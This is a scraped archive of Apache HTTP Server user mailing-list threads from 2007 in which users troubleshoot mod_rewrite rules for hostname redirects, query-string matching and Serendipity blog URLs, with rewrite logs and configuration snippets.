Re: [EMAIL PROTECTED] mod_rewrite problem
On 04.08.2007 18:25 CE(S)T, Joshua Slive wrote: Once you know that you need to use mod_rewite, there is no point in fooling around with mod_setenvif. It is simpler to do everything in mod_rewrite. Or avoid it entirely. My point with SetEnv[If] was to only enter the hostname once and not in every single rule. Try one of the solutions here: http://wiki.apache.org/httpd/CanonicalHostNames I can't use the Redirect directive because it only works good inside a VirtualHost section which I can't use. The mod_rewirte thing doesn't work with the same problem like I already have. Also note that you should not do rewriting in .htaccess unless you really have to. And if you still use mod_rewrite and can't get it to work, then use the RewriteLog to see what is going on. Yes, I need to. What I do here is ensuring my website is visible from a single domain only. This is a configuration that belongs to my website specifically, not the entire server which (despite being under my control) is shared with many other users that like different configuration. I now managed to use RewriteLog on the server. Here's the results: http://unclassified.de/beta - http://beta.unclassified.de//www/web002/beta 84.148.53.163 - - [05/Aug/2007:11:58:22 +0200] [unclassified.de/sid#8336258][rid#8444c98/initial] (3) [per-dir /www/web002/beta/] applying pattern '^(.*)' to uri '/www/web002/beta' 84.148.53.163 - - [05/Aug/2007:11:58:22 +0200] [unclassified.de/sid#8336258][rid#8444c98/initial] (4) RewriteCond: input='beta.unclassified.de' pattern='!^$' = matched 84.148.53.163 - - [05/Aug/2007:11:58:22 +0200] [unclassified.de/sid#8336258][rid#8444c98/initial] (2) [per-dir /www/web002/beta/] rewrite /www/web002/beta - http://beta.unclassified.de//www/web002/beta 84.148.53.163 - - [05/Aug/2007:11:58:22 +0200] [unclassified.de/sid#8336258][rid#8444c98/initial] (2) [per-dir /www/web002/beta/] explicitly forcing redirect with http://beta.unclassified.de//www/web002/beta 84.148.53.163 - - [05/Aug/2007:11:58:22 +0200] [unclassified.de/sid#8336258][rid#8444c98/initial] (1) [per-dir /www/web002/beta/] escaping http://beta.unclassified.de//www/web002/beta for redirect 84.148.53.163 - - [05/Aug/2007:11:58:22 +0200] [unclassified.de/sid#8336258][rid#8444c98/initial] (1) [per-dir /www/web002/beta/] redirect to http://beta.unclassified.de//www/web002/beta [REDIRECT/301] http://unclassified.de/beta/ (notice the trailing slash) - http://beta.unclassified.de/ 84.148.53.163 - - [05/Aug/2007:11:59:25 +0200] [unclassified.de/sid#8336258][rid#8481f88/initial] (3) [per-dir /www/web002/beta/] strip per-dir prefix: /www/web002/beta/ - 84.148.53.163 - - [05/Aug/2007:11:59:25 +0200] [unclassified.de/sid#8336258][rid#8481f88/initial] (3) [per-dir /www/web002/beta/] applying pattern '^(.*)' to uri '' 84.148.53.163 - - [05/Aug/2007:11:59:25 +0200] [unclassified.de/sid#8336258][rid#8481f88/initial] (4) RewriteCond: input='beta.unclassified.de' pattern='!^$' = matched 84.148.53.163 - - [05/Aug/2007:11:59:25 +0200] [unclassified.de/sid#8336258][rid#8481f88/initial] (2) [per-dir /www/web002/beta/] rewrite - http://beta.unclassified.de/ 84.148.53.163 - - [05/Aug/2007:11:59:25 +0200] [unclassified.de/sid#8336258][rid#8481f88/initial] (2) [per-dir /www/web002/beta/] explicitly forcing redirect with http://beta.unclassified.de/ 84.148.53.163 - - [05/Aug/2007:11:59:25 +0200] [unclassified.de/sid#8336258][rid#8481f88/initial] (1) [per-dir /www/web002/beta/] escaping http://beta.unclassified.de/ for redirect 84.148.53.163 - - [05/Aug/2007:11:59:25 +0200] [unclassified.de/sid#8336258][rid#8481f88/initial] (1) [per-dir /www/web002/beta/] redirect to http://beta.unclassified.de/ [REDIRECT/301] In a direct comparison, it doesn't do the strip per-dir prefix in the first scenario. Why not? Requesting the name of a directory, I would expect it to redirect to that directory first, beta - beta/, as it's always the case. And only then, it may regard the .htaccess file inside that directory and that would work as expected, as I can see when trying that directly. Why is the .htaccess file in a directory regarded when I'm not even inside that directory? Why does entering a trailing slash or not make such a great difference? -- Yves Goergen LonelyPixel [EMAIL PROTECTED] Visit my web laboratory at http://beta.unclassified.de - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
On 8/5/07, Yves Goergen [EMAIL PROTECTED] wrote: On 04.08.2007 18:25 CE(S)T, Joshua Slive wrote: Once you know that you need to use mod_rewite, there is no point in fooling around with mod_setenvif. It is simpler to do everything in mod_rewrite. Or avoid it entirely. My point with SetEnv[If] was to only enter the hostname once and not in every single rule. I still think you are over-complicated. But your problem could probably be solved with an appropriate RewriteBase directive. Joshua. - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
On 05.08.2007 16:23 CE(S)T, Joshua Slive wrote: On 8/5/07, Yves Goergen [EMAIL PROTECTED] wrote: On 04.08.2007 18:25 CE(S)T, Joshua Slive wrote: Once you know that you need to use mod_rewite, there is no point in fooling around with mod_setenvif. It is simpler to do everything in mod_rewrite. Or avoid it entirely. My point with SetEnv[If] was to only enter the hostname once and not in every single rule. I still think you are over-complicated. In what way? But your problem could probably be solved with an appropriate RewriteBase directive. I just re-read the entire available documentation for RewriteBase and don't see how it can be useful to me. If I understood that short description right, I would need a separate RewriteBase for every URL through which this directory can be accessed. This is two separate URLs, one on domain A with a path name and one on domain B with NO path name specified. But as I'm spending more time with it, I think that mod_rewrite just isn't capable of doing what I want. If it could execute arbitrary URL modification code, I could tell it what I mean. But the provided declarative syntax is too weak. So I'm considering altering the directory structure so that my subdomain is no longer accessible as a subdirectory of the 2nd-level domain. When removing a www. from the URL is enough, my solution seems to work already. -- Yves Goergen LonelyPixel [EMAIL PROTECTED] Visit my web laboratory at http://beta.unclassified.de - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[EMAIL PROTECTED] mod_rewrite problem
Hello, I'm using mod_rewrite to correct some URLs on my web server, running Apache 2.0. But I have a strange problem with it. First, here's the rules I have set: SetEnvIf Host .+ desired_hostname=beta.unclassified.de SetEnvIfNoCase Host ^beta\.unclassified\.de$ !desired_hostname RewriteCond %{ENV:desired_hostname} !^$ RewriteRule ^(.*) http://%{ENV:desired_hostname}/$1 [L,R=301] This is from the file .htaccess in the beta directory under unclassified.de, which is also the document root of beta.unclassified.de. It first checks whether the page was requested through the wrong domain. If so, the environment variable desired_hostname is set to where the visitor should be redirected. The second part then redirects the URL relative to the current directory as-is only over to the right domain. This seems to work fine with non-empty URLs like this: http://unclassified.de/beta/kontakt - http://beta.unclassified.de/kontakt But as soon as the left part of the RewriteRule directive should be empty, it automatically inserts the full path of the directory on the web server, like here: http://unclassified.de/beta - http://beta.unclassified.de//www/web002/beta Whereas this works: http://unclassified.de/beta/ (notice the trailing slash) - http://beta.unclassified.de/ Can anybody please explain me why it doesn't just redirect to the new domain's root directory? Where does that serverside path come from? I can't find any hint on it in the documentation. This is really bugging me since it is one of the few issues I have with a simple and reliable redirection of my website to one single domain name. -- Yves Goergen LonelyPixel [EMAIL PROTECTED] Visit my web laboratory at http://beta.unclassified.de - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
On 8/4/07, Yves Goergen [EMAIL PROTECTED] wrote: Hello, I'm using mod_rewrite to correct some URLs on my web server, running Apache 2.0. But I have a strange problem with it. First, here's the rules I have set: SetEnvIf Host .+ desired_hostname=beta.unclassified.de SetEnvIfNoCase Host ^beta\.unclassified\.de$ !desired_hostname RewriteCond %{ENV:desired_hostname} !^$ RewriteRule ^(.*) http://%{ENV:desired_hostname}/$1 [L,R=301] Once you know that you need to use mod_rewite, there is no point in fooling around with mod_setenvif. It is simpler to do everything in mod_rewrite. Or avoid it entirely. Try one of the solutions here: http://wiki.apache.org/httpd/CanonicalHostNames Also note that you should not do rewriting in .htaccess unless you really have to. And if you still use mod_rewrite and can't get it to work, then use the RewriteLog to see what is going on. Joshua. - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[EMAIL PROTECTED] mod_rewrite problem
Hi List! I am trying to configure a rule with mod_rewrite, which allow me to change the value of one script parameter. I want the script to foward me to an error page when introducing service=wfs in the request The sevice=wfs parameter can be in all positions This is my line: RewriteRule ^/cgi-bin/wms\?(.*)service=wfs$ /error.html Is it correct? If i put the line as follows, it works perfectly: RewriteRule ^/cgi-bin/wms\? /error.html But when I add the service parameter, it executes the script and it does not forward me to that page, (I mean as follow:) RewriteRule ^/cgi-bin/wms\?service=wfs /error.html Thank you very much.
Re: [EMAIL PROTECTED] mod_rewrite problem
On 6/4/07, José Ramón López [EMAIL PROTECTED] wrote: Hi List! I am trying to configure a rule with mod_rewrite, which allow me to change the value of one script parameter. I want the script to foward me to an error page when introducing service=wfs in the request The sevice=wfs parameter can be in all positions This is my line: RewriteRule ^/cgi-bin/wms\?(.*)service=wfs$ /error.html Is it correct? If i put the line as follows, it works perfectly: RewriteRule ^/cgi-bin/wms\? /error.html But when I add the service parameter, it executes the script and it does not forward me to that page, (I mean as follow:) RewriteRule ^/cgi-bin/wms\?service=wfs /error.html RewriteRule doesn't match against the query string. You will need to use a RewriteCond for this. something like this: RewriteCond %{QUERY_STRING}^service=wfs$ RewriteRule ^/cgi-bin/wms$ /error.html Krist -- [EMAIL PROTECTED] Bremgarten b. Bern, Switzerland -- A: It reverses the normal flow of conversation. Q: What's wrong with top-posting? A: Top-posting. Q: What's the biggest scourge on plain text email discussions? - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
Just got a response from the developer of the PHP script (serendipity). Turns out the problem lies there, and not with the rewrite rule. Apparently what's going on is that the php script uses the REQUEST_URI to determine what to display. If it doesn't recognize the REQUEST_URI (as is the case with /nagios) it just displays the main page. It would appear that while mod_rewrite successfully rewrites the URL and calls the PHP script, it doesn't actually change the REQUEST_URI, so the script is still acting on /nagios, which it doesn't recognize. I'll admit this is somewhat beyond me at the moment, perhaps I need to look more into the difference between the REQUEST_URI that the php script is seeing and what, exactly, mod_rewrite is changing. At any rate, that at least explains the problem. On Mar 7, 2007, at 3:38 PM, Vincent Bray wrote: [snip] What's also changed and also puzzling is there's now two steps where there was just one. yeah, sorry. That was one of the things I was experimenting with. Since I knew the later rewrite rule worked as intended, I thought I'd try just rewriting /nagios into what the second rule was designed to match. Kind of a kludgy grasping at straws solution that didn't help anyway. The line that I am actually running is back with the index.php? section, I just copied and pasted the wrong code block. [snip] However, the first [L] should cause the second rule to not be reached, assuming that the [R] isn't meant to be there as you pointed out in the OP. ... And the last three rules shouldn't do anything (but let's let that drop). Interesting point. However, as these rules were added by serendipity and not me, and don't affect anything anyway, I'm not too concerned :) [snip] This looks like a general case of mod_rewrite overuse. It's often a better idea to use a blanket rewrite with exceptions for static files and then let the application split the url from the environment. But that's not your problem :) yep :) Actually, the original rule set did have a blanket anything.html = index.php?url=$1 rule, but as that made it so I couldn't access the non-serendipity directories on my server (trying, for example, http://izzy.homeip.net/Alaska/Alaska.html, which is an actual page, just wound up back at the home page), I removed it. Thinking about it though, a more elegant solution might be to put that rewrite rule back in by itself, and then use a RewriteEngine Off directive in my other directories to override it, or some such solution. It bears consideration. [snip] Just an aside, don't mix relative and absolute Options. That directive does what you probably think it should but it wouldn't if -Indexes weren't the first argument and besides: Options FollowSymLinks MultiViews has the same effect and requires less typing. well, it WOULD have the same effect, but for some reason Options Indexes is the default for the / directory, so if I don't override it for my other directories it generates an index page if you request a directory without an index file, which I don't want. I suppose a better option would be to simply remove the Options Indexes from the root level Directory block :) [snip] Hrmph, I don't seem to be really helping much. About the script, php is a pretty brute-force and ignorance kind of environment so just adding: phpinfo(); die(); to the start of the script after the opening ?php tag will show you what's getting passed in, just in case the problem is with the app. which does appear to be the case, as per the developer response. Thanks for the thoughts! -- noodl PS. I'm about to pass out for a few hours, good luck : ) --- Israel Brewster Computer Support Technician Frontier Flying Service Inc. 5245 Airport Industrial Rd Fairbanks, AK 99709 (907) 450-7250 x293 --- - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
Israel Brewster wrote: Just got a response from the developer of the PHP script (serendipity). Turns out the problem lies there, and not with the rewrite rule. Apparently what's going on is that the php script uses the REQUEST_URI to determine what to display. If it doesn't recognize the REQUEST_URI (as is the case with /nagios) it just displays the main page. It would appear that while mod_rewrite successfully rewrites the URL and calls the PHP script, it doesn't actually change the REQUEST_URI, so the script is still acting on /nagios, which it doesn't recognize. I'll admit this is somewhat beyond me at the moment, perhaps I need to look more into the difference between the REQUEST_URI that the php script is seeing and what, exactly, mod_rewrite is changing. At any rate, that at least explains the problem. yeah, if you compare the number and type of rewrites for this package with the way that wordpress used to operate, there is a lot of correlation, instead now wordpress uses a much simpler form of rewrite which directs the REQUEST_URI to the application for subsequent alteration, as is the case with your serendipity app. My idea would be to handle all the serendipity rules with the app, leaving a much smaller set of rules which would happily coexist and be easy to modify. I know you say you aren't a php developer, but it wouldn't be that hard to locate and alter the script, perhaps though it would be difficult to subsequently update Serendipity and you would feel this would be a step too far. my $0.02 - when wordpress changed their rewrite rules from 2k down to 4 lines it was great! -- Matthew Farey - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
On Mar 8, 2007, at 8:33 AM, matt farey wrote: yeah, if you compare the number and type of rewrites for this package with the way that wordpress used to operate, there is a lot of correlation, instead now wordpress uses a much simpler form of rewrite which directs the REQUEST_URI to the application for subsequent alteration, as is the case with your serendipity app. My idea would be to handle all the serendipity rules with the app, leaving a much smaller set of rules which would happily coexist and be easy to modify. I know you say you aren't a php developer, but it wouldn't be that hard to locate and alter the script, perhaps though it would be difficult to subsequently update Serendipity and you would feel this would be a step too far. my $0.02 - when wordpress changed their rewrite rules from 2k down to 4 lines it was great! Actually, after the behavior I've been seeing while trying to work out this issue, I think the serendipity application may already work this way, in spite of the fact that it writes out that long list of rules. If I am understanding what is going on properly, then as long as the REQUEST_URI typed into the address bar is one that serendipity understands (i.e. /categories/8-Nagios) then it doesn't really matter what it is rewritten to, as long as the rewrite calls index.php? So, in theory at least, I should be able to replace all those rewrites with a blanket rewrite whatever to index.php?url=, and it should still work. Of course, I would need to have exceptions for the things I DON'T want handled my the serendipity php script, but that shouldn't be too difficult. I'll have to experiment with that some. -- Matthew Farey --- Israel Brewster Computer Support Technician Frontier Flying Service Inc. 5245 Airport Industrial Rd Fairbanks, AK 99709 (907) 450-7250 x293 --- - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
Israel Brewster wrote: On Mar 8, 2007, at 8:33 AM, matt farey wrote: yeah, if you compare the number and type of rewrites for this package with the way that wordpress used to operate, there is a lot of correlation, instead now wordpress uses a much simpler form of rewrite which directs the REQUEST_URI to the application for subsequent alteration, as is the case with your serendipity app. My idea would be to handle all the serendipity rules with the app, leaving a much smaller set of rules which would happily coexist and be easy to modify. I know you say you aren't a php developer, but it wouldn't be that hard to locate and alter the script, perhaps though it would be difficult to subsequently update Serendipity and you would feel this would be a step too far. my $0.02 - when wordpress changed their rewrite rules from 2k down to 4 lines it was great! Actually, after the behavior I've been seeing while trying to work out this issue, I think the serendipity application may already work this way, in spite of the fact that it writes out that long list of rules. If I am understanding what is going on properly, then as long as the REQUEST_URI typed into the address bar is one that serendipity understands (i.e. /categories/8-Nagios) then it doesn't really matter what it is rewritten to, as long as the rewrite calls index.php? So, in theory at least, I should be able to replace all those rewrites with a blanket rewrite whatever to index.php?url=, and it should still work. Of course, I would need to have exceptions for the things I DON'T want handled my the serendipity php script, but that shouldn't be too difficult. I'll have to experiment with that some. I am sure you are right, it's why I mentioned it really, here's the rule that I swear by - not that I swear really! RewriteEngine On RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L,NS] obviously placed in some directory statement in the main httpd-rewrites.conf file. Using a couple of extra conditions might be all you need to prevent S from stealing focus as it were, and will lead yuo on to a nice relaxing weekend. ciao, m -- Matthew Farey9 - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
On 08/03/07, Israel Brewster [EMAIL PROTECTED] wrote: Looking at the rewrite log shows the following entries: xxx.xxx.xxx.xxx - - [07/Mar/2007:08:28:03 -0900] [izzy.homeip.net/ sid#1802648][rid#1838c38/initial] (2) init rewrite engine with requested uri /nagios xxx.xxx.xxx.xxx - - [07/Mar/2007:08:28:03 -0900] [izzy.homeip.net/ sid#1802648][rid#1838c38/initial] (1) pass through /nagios xxx.xxx.xxx.xxx - - [07/Mar/2007:08:28:03 -0900] [izzy.homeip.net/ sid#1802648][rid#1838c38/initial] (2) [per-dir /WebServer/Documents/] rewrite nagios - index.php?/categories/8-Nagios xxx.xxx.xxx.xxx - - [07/Mar/2007:08:28:03 -0900] [izzy.homeip.net/ sid#1802648][rid#1838c38/initial] (2) [per-dir /WebServer/Documents/] trying to replace prefix /WebServer/Documents/ with / xxx.xxx.xxx.xxx - - [07/Mar/2007:08:28:03 -0900] [izzy.homeip.net/ sid#1802648][rid#1838c38/initial] (1) [per-dir /WebServer/Documents/] internal redirect with /index.php [INTERNAL REDIRECT] Hi, welcome to rewrite-in-htaccess pain and suffering. As you're able to use RewriteLog, why put rewrite rules in htaccess? I expect this error will go away if you do because.. It would appear that your rule is having the desired effect of rewriting http://example.com/nagios to http://example.com/index.php?/categories/8-Nagios however, don't count on [L] stopping the rest of your rules from running. Because this is in a htaccess file, a subrequest is used to figure out if rewriting is done yet. I'm not exactly sure why, and I could be totally wrong, but see what your complete ruleset would do with the original request. Otherwise (as suggested by rbowen) try adding PT to your flags to mitigate RewriteBase confusion. -- noodl - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
Thanks for your response and suggestions. On Mar 7, 2007, at 9:48 AM, Vincent Bray wrote: Hi, welcome to rewrite-in-htaccess pain and suffering. As you're able to use RewriteLog, why put rewrite rules in htaccess? When I tried that my RewriteRules stopped working entirely :P I suspect that was just a mis-configuration on my part, however, so I'll keep looking. [snip] Otherwise (as suggested by rbowen) try adding PT to your flags to mitigate RewriteBase confusion. That didn't help -- noodl - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] --- Israel Brewster Computer Support Technician Frontier Flying Service Inc. 5245 Airport Industrial Rd Fairbanks, AK 99709 (907) 450-7250 x293 --- - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
On 08/03/07, Israel Brewster [EMAIL PROTECTED] wrote: Thanks for your response and suggestions. On Mar 7, 2007, at 9:48 AM, Vincent Bray wrote: Hi, welcome to rewrite-in-htaccess pain and suffering. As you're able to use RewriteLog, why put rewrite rules in htaccess? When I tried that my RewriteRules stopped working entirely :P I suspect that was just a mis-configuration on my part, however, so I'll keep looking. http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html#rewriterule in the note 'per directory Rewrites' is important when moving rewrite rules from .htaccess files or Directory blocks, to per-server (VirtualHost, or main server) contexts. In this case, ^nagios never matches because the per-directory prefix isn't stripped. ^/nagios is what you need, in addition to simillar changes for the rest of your rules. This annoyance aside, putting rewrite rules in server context has other advantages, mainly increased speed (regexen are compiled once at startup and the uri-filepath translation stage can be skipped) but also decreased confusion; rewrite in htaccess involves extra steps beyond what seems reasonable to figure out the resulting url. -- noodl - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
[snip] In this case, ^nagios never matches because the per-directory prefix isn't stripped. ^/nagios is what you need, in addition to simillar changes for the rest of your rules. Ok, yeah- that made the rewrite rules start matching when in the httpd.conf file, unfortunately the behavior I'm getting with that particular rule is the same. Maybe it's time to consider a different approach entirely. This annoyance aside, putting rewrite rules in server context has other advantages, mainly increased speed (regexen are compiled once at startup and the uri-filepath translation stage can be skipped) but also decreased confusion; rewrite in htaccess involves extra steps beyond what seems reasonable to figure out the resulting url. -- noodl - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
On 08/03/07, Israel Brewster [EMAIL PROTECTED] wrote: Ok, yeah- that made the rewrite rules start matching when in the httpd.conf file, unfortunately the behavior I'm getting with that particular rule is the same. Maybe it's time to consider a different approach entirely. Like, posting the rest of your rules, perhaps? As you're rewriting to a php script, are you able to edit it to show a dump of the environment? phpinfo(); die(); does that job. Also, are there any Alias directives for nagios? Seeing your config in more detail would help. -- noodl - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
On Mar 7, 2007, at 1:16 PM, Vincent Bray wrote: Like, posting the rest of your rules, perhaps? As you're rewriting to a php script, are you able to edit it to show a dump of the environment? phpinfo(); die(); does that job. Also, are there any Alias directives for nagios? Seeing your config in more detail would help. -- noodl Oh, sure. Sorry- not trying to make things difficult here, it's just that I spent several hours yesterday working on the issue, so I'm a bit frustrated, and quite possibly not thinking straight any more :P. Anyway, the rewrite rules I'm currently working with are as follows: RewriteLog /var/log/httpd/rewrite.log RewriteLogLevel 2 RewriteRule ^/nagios[/A-Za-z0-9]* /categories/8-Nagios [NC,QSA,L,R] RewriteRule ^(/archives/([0-9]+)-[0-9a-z\.\_!;,\+\-\%]+\.html) / index.php?/$1 [NC,L,QSA] RewriteRule ^(/authors/([0-9]+)-[0-9a-z\.\_!;,\+\-\%]+) /index.php?/ $1 [NC,L,QSA] RewriteRule ^(/feeds/categories/([0-9;]+)-[0-9a-z\.\_!;,\+\-\%]+ \.rss) /index.php?/$1 [NC,L,QSA] RewriteRule ^(/feeds/authors/([0-9]+)-[0-9a-z\.\_!;,\+\-\%]+\.rss) / index.php?/$1 [NC,L,QSA] RewriteRule ^(/categories/([0-9;]+)-[0-9a-z\.\_!;,\+\-\%]+) / index.php?/$1 [NC,L,QSA] RewriteRule ^/archives([/A-Za-z0-9]+)\.html /index.php?url=/archives/ $1.html [NC,L,QSA] RewriteRule ^(/[0-9]+)[_\-][0-9a-z_\-]*\.html /index.php?url=$1- article.html [L,NC,QSA] RewriteRule ^/feeds/(.*) /index.php?url=/feeds/$1 [L,QSA] RewriteRule ^/unsubscribe/(.*)/([0-9]+) /index.php?url=/unsubscribe/ $1/$2 [L,QSA] RewriteRule ^/approve/(.*)/(.*)/([0-9]+) /index.php?url=approve/$1/$2/ $3 [L,QSA] RewriteRule ^/delete/(.*)/(.*)/([0-9]+) /index.php?url=delete/$1/$2/ $3 [L,QSA] RewriteRule ^(/admin|entries)(/.+)? /index.php?url=admin/ [L,QSA] RewriteRule ^/archive/? /index.php?url=/archive [L,QSA] RewriteRule ^(/index|atom[0-9]*|rss|b2rss|b2rdf).(rss|rdf|rss2|xml) / rss.php?file=$1ext=$2 RewriteRule ^(/plugin|plugin)/(.*) /index.php?url=$1/$2 [L,QSA] RewriteRule ^/search/(.*) /index.php?url=/search/$1 [L,QSA] RewriteRule ^/comments/(.*) /index.php?url=/comments/$1 [L,QSA] RewriteRule ^(serendipity\.css|serendipity_admin\.css) index.php?url=/ $1 [L,QSA] RewriteRule ^index\.(html?|php.+) index.php?url=index.html [L,QSA] RewriteRule ^htmlarea/(.*) htmlarea/$1 [L,QSA] Aside from the nagios one that I added, this is the standard set of rules for a serendipity (www.s9y.org) install. I have tried commenting out all of them (completely breaking my site, of course) except for the nagios one, but I still wind up at the index page when I try accessing /nagios. The Directory block for the root directory (which this is all running out of) is the following: Directory /WebServer/Documents Options -Indexes FollowSymLinks MultiViews AllowOverride All Order allow,deny Allow from all RewriteEngine On /Directory the rest of my httpd.conf is default, the only other parts I have edited being the server name and UseCanonicalName directives. I could potentially edit the php file, but I really don't know php- my programing skills are primarily limited to shell scripting and C+ + :) Where would I stick that code, or would that depend on the script (as I suspect would be the case)? It is the serendipity index.php file if you want to download it and take a look. Thank you VERY much for your help. I greatly appreciate it :) --- Israel Brewster Computer Support Technician Frontier Flying Service Inc. 5245 Airport Industrial Rd Fairbanks, AK 99709 (907) 450-7250 x293 --- - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] - The official User-To-User support forum of the Apache HTTP Server Project. See URL:http://httpd.apache.org/userslist.html for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
On 08/03/07, Israel Brewster [EMAIL PROTECTED] wrote: Oh, sure. Sorry- not trying to make things difficult here, it's just that I spent several hours yesterday working on the issue, so I'm a bit frustrated, and quite possibly not thinking straight any more :P. Anyway, the rewrite rules I'm currently working with are as follows: So far you've moved your initial config: RewriteEngine On RewriteBase / RewriteRule ^nagios[/A-Za-z0-9]* index.php?/categories/8-Nagios [NC,QSA,L] from a htaccess file to httpd.conf. Was this stuff alone there, with these other parts in the httpd.conf file, or were they together? What's also changed and also puzzling is there's now two steps where there was just one. RewriteLog /var/log/httpd/rewrite.log RewriteLogLevel 2 ### here: RewriteRule ^/nagios[/A-Za-z0-9]* /categories/8-Nagios [NC,QSA,L,R] RewriteRule ^(/archives/([0-9]+)-[0-9a-z\.\_!;,\+\-\%]+\.html) / index.php?/$1 [NC,L,QSA] RewriteRule ^(/authors/([0-9]+)-[0-9a-z\.\_!;,\+\-\%]+) /index.php?/ $1 [NC,L,QSA] RewriteRule ^(/feeds/categories/([0-9;]+)-[0-9a-z\.\_!;,\+\-\%]+ \.rss) /index.php?/$1 [NC,L,QSA] RewriteRule ^(/feeds/authors/([0-9]+)-[0-9a-z\.\_!;,\+\-\%]+\.rss) / index.php?/$1 [NC,L,QSA] ### and then here: RewriteRule ^(/categories/([0-9;]+)-[0-9a-z\.\_!;,\+\-\%]+) / index.php?/$1 [NC,L,QSA] RewriteRule ^/archives([/A-Za-z0-9]+)\.html /index.php?url=/archives/ $1.html [NC,L,QSA] RewriteRule ^(/[0-9]+)[_\-][0-9a-z_\-]*\.html /index.php?url=$1- article.html [L,NC,QSA] RewriteRule ^/feeds/(.*) /index.php?url=/feeds/$1 [L,QSA] RewriteRule ^/unsubscribe/(.*)/([0-9]+) /index.php?url=/unsubscribe/ $1/$2 [L,QSA] RewriteRule ^/approve/(.*)/(.*)/([0-9]+) /index.php?url=approve/$1/$2/ $3 [L,QSA] RewriteRule ^/delete/(.*)/(.*)/([0-9]+) /index.php?url=delete/$1/$2/ $3 [L,QSA] RewriteRule ^(/admin|entries)(/.+)? /index.php?url=admin/ [L,QSA] RewriteRule ^/archive/? /index.php?url=/archive [L,QSA] RewriteRule ^(/index|atom[0-9]*|rss|b2rss|b2rdf).(rss|rdf|rss2|xml) / rss.php?file=$1ext=$2 RewriteRule 